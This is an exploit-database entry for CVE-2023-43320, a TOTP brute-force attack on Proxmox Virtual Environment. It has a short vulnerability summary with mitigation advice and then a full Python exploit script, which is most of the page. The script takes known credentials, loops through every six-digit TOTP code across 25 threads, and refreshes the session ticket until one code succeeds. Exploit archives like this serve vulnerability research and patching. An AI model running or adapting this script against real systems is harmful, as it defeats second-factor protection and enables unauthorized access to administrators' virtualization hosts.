header-logo
Suggest Exploit
vendor:
Proxmox Virtual Environment
by:
Cory Cline, Gabe Rust
7.1
CVSS
HIGH
Brute Force
307
CWE
Product Name: Proxmox Virtual Environment
Affected Version From: 5.4.2024
Affected Version To: 7.4-1
Patch Exists: NO
Related CWE: CVE-2023-43320
CPE: -
Metasploit:
Other Scripts:
Platforms Tested: Debian
2023

Proxmox VE TOTP Brute Force

The Proxmox Virtual Environment (VE) is vulnerable to a Time-based One-Time Password (TOTP) brute force attack. By repeatedly guessing TOTP codes, an attacker can gain unauthorized access to the system. This vulnerability has been assigned CVE-2023-43320.

Mitigation:

To mitigate this vulnerability, it is recommended to implement account lockout mechanisms, strong password policies, and multi-factor authentication.
Source

Exploit-DB raw data:

# Exploit Title: Proxmox VE TOTP Brute Force
# Date: 09/23/2023
# Exploit Author: Cory Cline, Gabe Rust
# Vendor Homepage: https://www.proxmox.com/en/
# Software Link: http://download.proxmox.com/iso/
# Version: 5.4 - 7.4-1
# Tested on: Debian
# CVE : CVE-2023-43320

import time
import requests
import urllib.parse
import json
import os
import urllib3

urllib3.disable_warnings()
threads=25

#################### REPLACE THESE VALUES #########################
password="KNOWN PASSWORD HERE"
username="KNOWN USERNAME HERE"
target_url="https://HOST:PORT"
##################################################################

ticket=""
ticket_username=""
CSRFPreventionToken=""
ticket_data={}

auto_refresh_time = 20 # in minutes - 30 minutes before expiration
last_refresh_time = 0

tokens = [];

for num in range(0,1000000):
    tokens.append(str(num).zfill(6))

def refresh_ticket(target_url, username, password):
    global CSRFPreventionToken
    global ticket_username
    global ticket_data
    refresh_ticket_url = target_url + "/api2/extjs/access/ticket"
    refresh_ticket_cookies = {}
    refresh_ticket_headers = {}
    refresh_ticket_data = {"username": username, "password": password, "realm": "pve", "new-format": "1"}
    ticket_data_raw = urllib.parse.unquote(requests.post(refresh_ticket_url, headers=refresh_ticket_headers, cookies=refresh_ticket_cookies, data=refresh_ticket_data, verify=False).text)
    ticket_data = json.loads(ticket_data_raw)
    CSRFPreventionToken = ticket_data["data"]["CSRFPreventionToken"]
    ticket_username = ticket_data["data"]["username"]

def attack(token):
    global last_refresh_time
    global auto_refresh_time
    global target_url
    global username
    global password
    global ticket_username
    global ticket_data
    if ( int(time.time()) > (last_refresh_time + (auto_refresh_time * 60)) ):
        refresh_ticket(target_url, username, password)
        last_refresh_time = int(time.time())

    url = target_url + "/api2/extjs/access/ticket"
    cookies = {}
    headers = {"Csrfpreventiontoken": CSRFPreventionToken}
    stage_1_ticket = str(json.dumps(ticket_data["data"]["ticket"]))[1:-1]
    stage_2_ticket = stage_1_ticket.replace('\\"totp\\":', '\"totp\"%3A').replace('\\"recovery\\":', '\"recovery\"%3A')
    data = {"username": ticket_username, "tfa-challenge": stage_2_ticket, "password": "totp:" + str(token)}
    response = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
    if(len(response.text) > 350):
        print(response.text)
        os._exit(1)

while(1):
    refresh_ticket(target_url, username, password)
    last_refresh_time = int(time.time())

    with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
        res = [executor.submit(attack, token) for token in tokens]
        concurrent.futures.wait(res)